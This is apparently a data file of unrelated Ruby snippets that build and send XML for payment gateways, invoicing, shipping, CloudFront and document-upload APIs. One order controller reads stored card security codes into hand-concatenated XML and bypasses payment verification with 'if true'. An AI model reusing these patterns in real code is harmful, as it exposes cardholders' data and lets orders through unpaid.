"def canonicalized_data\n\n parametros = ActiveSupport::OrderedHash.new\n parametros[\"xmlns\"] = \"http://cancelacfd.sat.gob.mx\"\n parametros[\"xmlns:xsd\"] = \"http://www.w3.org/2001/XMLSchema\"\n parametros[\"xmlns:xsi\"] = \"http://www.w3.org/2001/XMLSchema-instance\"\n parametros[\"Fecha\"] = @fecha\n parametros[\"RfcEmisor\"] = @rfcemisor\n \n @builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Cancelacion(parametros) do\n xml.Folios {\n xml.UUID(@uuid)\n } \n end\n end\n \n return @builder.to_xml(:save_with => Nokogiri::XML::Node::SaveOptions::AS_XML | Nokogiri::XML::Node::SaveOptions::NO_DECLARATION)\n \n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def to_xml\n\t\t\ttext = \"\"\n\t\t\t@response.write(text, 1)\n\t\t\treturn text\n\t\tend",
"def test_post_invoices_xml \n Redmine::ApiTest::Base.should_allow_api_authentication(:post,\n '/invoices.xml',\n {:invoice => {:project_id => 1, :number => 'INV/TEST-1'}},\n {:success_code => :created})\n \n assert_difference('Invoice.count') do\n post '/invoices.xml', {:invoice => {:project_id => 1, :number => 'INV/TEST-1', :contact_id => 1, :status_id => 1, :invoice_date => Date.today}}, credentials('admin')\n end\n\n invoice = Invoice.first(:order => 'id DESC')\n assert_equal 'INV/TEST-1', invoice.number\n \n assert_response :created\n assert_equal 'application/xml', @response.content_type\n assert_tag 'invoice', :child => {:tag => 'id', :content => invoice.id.to_s}\n end",
"def post_business(business, location)\n xml = Builder::XmlMarkup.new\n query = xml.tag!(\"BPMSPost\", 'Edition' => \"1.1\") {\n xml.tag!(\"Record\") {\n xml.tag!(\"Phone\", location.phone)\n xml.tag!(\"BusinessName\", location.location_name)\n xml.tag!(\"Address\", location.address)\n xml.tag!(\"City\", location.city)\n xml.tag!(\"State\", location.state)\n xml.tag!(\"Zip\", location.zip)\n xml.tag!(\"URL\", location.website_url)\n xml.tag!(\"TagLine\", location.special_offer)\n #xml.tag!(\"LogoImage\", location.logo)\n xml.tag!(\"Categories\") {\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Primary\")\n xml.tag!(\"Name\", business.industry_primary)\n }\n if business.industry_alt_1.present?\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Alt1\")\n xml.tag!(\"Name\", business.industry_alt_1)\n }\n end\n if business.industry_alt_2.present?\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Alt2\")\n xml.tag!(\"Name\", business.industry_alt_2)\n }\n end\n }\n }\n }\n body = build_request(3700, 1510, query)\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n xml_doc['Error'] == '0' # success (returns true/false)\n end",
"def to_xml\n response\n end",
"def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end",
"def create\n @selecciones = Seleccion.where(\"cliente_id = ?\",usuario_actual.id)\n @peso_total = Seleccion.peso_total(usuario_actual.id)\n @precio_total = Seleccion.precio_total(usuario_actual.id)\n @tarjetas = usuario_actual.tdc\n \n #Cobro en el banco\n client = Savon::Client.new(\"http://localhost:3001/servicios/wsdl\")\n tdc = Tarjeta.where(\"id = ? AND cliente_id = ?\",params[:orden][:tarjeta_id],usuario_actual.id)\n total_pagar = params[:orden][:total]\n pago = '<Message>\n <Request>\n <numero_tdc>'+tdc.numero+'</numero_tdc>\n <nombre_tarjetahabiente>'+tdc.tarjetahabiente+'</nombre_tarjetahabiente>\n <fecha_vencimiento>'+tdc.mes_vencimiento+'/'+tdc.ano_vencimiento+'</fecha_vencimiento>\n <codigo_seguridad>'+tdc.codigo+'</codigo_seguridad>\n <tipo_tarjeta>'+tdc.tipo+'</tipo_tarjeta>\n <direccion_cobro>'+tdc.direccion+'</direccion_cobro>\n <total_pagar>'+total_pagar+'</total_pagar>\n <cuenta_receptora>'+cuenta_receptora+'</cuenta_receptora>\n </Request>\n </Message>'\n #response = client.request :verificar_pago, body: { \"value\" => pago } \n #if response.success?\n # data = response.to_hash[:verificar_pago_response][:value][:response].first\n # @respuesta = XmlSimple.xml_in(data)\n #end\n\n #NAMESPACE = 'pagotdc'\n #URL = 'http://localhost:8080/'\n #banco = SOAP::RPC::Driver.new(URL, NAMESPACE)\n #banco.add_method('verificar_pago', 'numero_tdc', 'nombre_tarjetahabiente', 'fecha_vencimiento', 'codigo_seguridad', 'tipo_tarjeta', 'direccion_cobro', 'total_pagar', 'cuenta_receptora')\n #\n \n #respuesta = banco.verificar_pago(tdc.numero, tdc.tarjetahabiente, tdc.mes_vencimiento.to_s+'/'+tdc.ano_vencimiento.to_s, tdc.codigo, tdc.tipo, params[:orden][:total], tdc.direccion)\n \n if true #respuesta.ack.eql?(0)\n params[:orden][:cliente_id] = usuario_actual.id\n params[:orden][:total] = Seleccion.precio_total(usuario_actual.id)\n params[:orden][:fecha_entrega] = \"0000-00-00\"\n @orden = Orden.new(params[:orden])\n \n if @orden.save\n @selecciones = Seleccion.where(\"cliente_id = ?\",usuario_actual.id)\n @selecciones.each do |seleccion|\n p = Producto.find(seleccion.producto_id)\n @venta = Venta.new(:producto_id=>p.id, \n :orden_id=>@orden.id,\n :categoria_id=>p.categoria_id, \n :cantidad=>seleccion.cantidad,\n :costo=>p.precio)\n @venta.save\n end\n \n Seleccion.vaciar_carro(usuario_actual.id)\n respond_to do |format|\n format.html { redirect_to ver_ordenes_path, notice: 'Orden generada correctamente.' }\n end\n else\n respond_to do |format|\n format.html { render action: \"new\" }\n end\n end\n else\n respond_to do |format|\n format.html { render action: \"new\", notice: respuesta.mensaje }\n end\n end\n end",
"def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end",
"def set_xml_status\n if params[:xml_request]\n request.env[\"CONTENT_TYPE\"] = \"text/xml\"\n request.env[\"HTTP_ACCEPT\"] = \"application/xml\"\n @xml_request_enabled = true\n end\n end",
"def publish_xml(activity_xml)\n logger.info(\"Publishing activities for #{self.name}\")\n publisher_path = \"#{self.uri}/activity.xml\"\n post(publisher_path, activity_xml)\n end",
"def post_check(excon, body)\n excon.request(\n method: :post,\n path: '/check',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend",
"def verifyXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id #'14560'\n xml.MerchantProfileId merchant_profile_id #'PrestaShop Global HC'\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType]\n xml['ns1'].CardholderName params[:CardholderName]\n # xml['ns1'].PAN params[:PAN] #'4111111111111111'\n # xml['ns1'].Expire params[:Expire]\n # xml['ns1'].Track1Data('i:nil' =>\"true\")\n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].CardSecurityData{\n xml['ns1'].AVSData{\n xml['ns1'].CardholderName('i:nil' =>\"true\") \n xml['ns1'].Street params[:Street]\n xml['ns1'].City params[:City]\n xml['ns1'].StateProvince params[:StateProvince]\n xml['ns1'].PostalCode params[:PostalCode]\n xml['ns1'].Phone params[:Phone]\n xml['ns1'].Email params[:Email]\n }\n xml['ns1'].CVDataProvided 'Provided'\n xml['ns1'].CVData params[:CVData]\n xml['ns1'].KeySerialNumber('i:nil' =>\"true\")\n xml['ns1'].PIN('i:nil' =>\"true\") \n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\")\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD')\n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2014-04-03T13:50:16') \n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n if params[:Track2Data].present? || params[:Track1Data].present?\n xml['ns1'].EntryMode params[:EntryMode]\n else\n xml['ns1'].EntryMode 'Keyed'\n end \n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InvoiceNumber('i:nil' =>\"true\")\n xml['ns1'].OrderNumber('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n } \n }\n }\n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for verifyXML!\"\n end\n end",
"def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.TrackRequest(:xmlns => \"http://fedex.com/ws/track/v5\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n # add_request_timestamp(xml)\n add_track_request(xml)\n }\n end\n builder.doc.root.to_xml\n end",
"def to_xml\n http.body\n end",
"def upload\n document = params[:document]\n service_request_id = params[:service_request_id]\n organization_id = params[:organization_id]\n document_type = params[:document_type]\n\n # let's see how many existing docs we have before we upload\n document_count_before_upload = Alfresco::Document.number_of_documents_for(service_request_id)\n\n ticket = Document.ticket(Alfresco::Document::ALFRESCO_USER, Alfresco::Document::ALFRESCO_PASSWORD)\n\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.entry(:xmlns => \"http://www.w3.org/2005/Atom\",\n \"xmlns:cmisra\" => \"http://docs.oasis-open.org/ns/cmis/restatom/200908/\",\n \"xmlns:cmis\" => \"http://docs.oasis-open.org/ns/cmis/core/200908/\") {\n xml.title document.original_filename\n xml.summary document_type\n xml.content(:type => document.content_type) {\n xml.text Base64.encode64(document.read)\n }\n }\n end\n\n if !Document.service_request_folder_exists? service_request_id\n Document.create_service_request_folder service_request_id\n end\n\n sub_folders = Document.find_sub_folders_for_service_request service_request_id\n unless sub_folders.include? organization_id\n Document.create_service_request_organization_folder(service_request_id, organization_id)\n end\n\n url = Document::PATH + \"cmis/p/User%20Homes/service_requests/#{service_request_id}/#{organization_id}/children?alf_ticket=\" + ticket\n\n count = 0\n begin\n count = count + 1\n RestClient.post url, builder.to_xml, {:content_type => 'application/atom+xml;type=entry'}\n rescue => e\n Rails.logger.info \"#\"*50\n Rails.logger.info \"Error creating file\"\n Rails.logger.info e.message\n Rails.logger.info \"#\"*50\n end\n\n new_document_count = count + document_count_before_upload\n document_count_after_upload = Alfresco::Document.number_of_documents_for(service_request_id)\n\n while(document_count_after_upload != new_document_count) do\n sleep(0.5)\n document_count_after_upload = Alfresco::Document.number_of_documents_for(service_request_id)\n end\n\n redirect_to :controller => 'related_service_requests', :action => 'show', :anchor => 'documents', :service_request_id => params[:friendly_id], :id => params[:ssr_id]\n end",
"def submit\n obj = ActiveSupport::Inflector.constantize(self.class.to_s.gsub(/Builder/, ''))\n obj.new(Client.post_xml_request(to_s))\n end",
"def upload_cypress_xml(xml, args = nil)\n opts = args ? @options.merge(args) : @options\n cypress_url = opts[:cypress_url]\n user = opts[:cypress_user] ? User.where({email: opts[:cypress_user]}).first : User.first\n cypress_password = opts[:cypress_password]\n bundle = opts[:version] ? Bundle.where({version: opts[:version]}).first : Bundle.first\n product_test = ProductTest.where({name: \"popHealthRoundtripTest\"}).first\n\n # Generate a temporary file that acts just like a normal file, but is given a unique name in the './tmp' directory\n tmp = Tempfile.new(['qrda_upload', '.xml'], './tmp')\n tmp.write(xml)\n product_test.execute({results: tmp})\n\n end",
"def response_xml\r\n @sess.DoRequests(@request_set).ToXMLString\r\n end",
"def build_xml(xml)\n check_configuration\n xml.DistributionConfig('xmlns' => \"http://cloudfront.amazonaws.com/doc/#{Cloudfront::API_VERSION}/\") {\n xml.CallerReference @caller_reference\n @aliases.build_xml(xml)\n xml.DefaultRootObject @default_root_object\n @origins_container.build_xml(xml)\n @default_cache_behavior.build_xml(xml)\n @behaviors.build_xml(xml)\n xml.Comment @comment\n @logging.build_xml(xml)\n xml.PriceClass @price_class\n xml.Enabled @enabled\n }\n end",
"def export_xml\n @quo= Quotation.all\n send_data @quo.as_json.to_xml.to_s\n end",
"def ap_xml\n # other gsub could be negaitve /<content?([A-Za-z \"=]+)>(?!<\\!\\[CDATA\\[)/\n # but CS theory says that isn't a good idea, and so does running time tests\n Crack::XML.parse(body.gsub(/<content?([A-Za-z \"=]+)><\\!\\[CDATA\\[/, '<content>').gsub(/\\]\\]><\\/content>/, \"</content>\").gsub(/<content?([A-Za-z \"=]+)>/, \"<content><![CDATA[\").gsub(/<\\/content>/, \"]]></content>\"))\n # Crack::XML.parse(body.gsub(/<content?([A-Za-z \"=]+)>(?!<\\!\\[CDATA\\[)/, \"<content><![CDATA[\").gsub(/<\\/content>/, \"]]></content>\"))\n end",
"def send_xml(xml)\n if xml.is_a? Nokogiri::XML::NodeSet\n xml.each do |element|\n send_chunk(element.to_s)\n end\n else\n send_chunk(xml.to_s)\n end\n end",
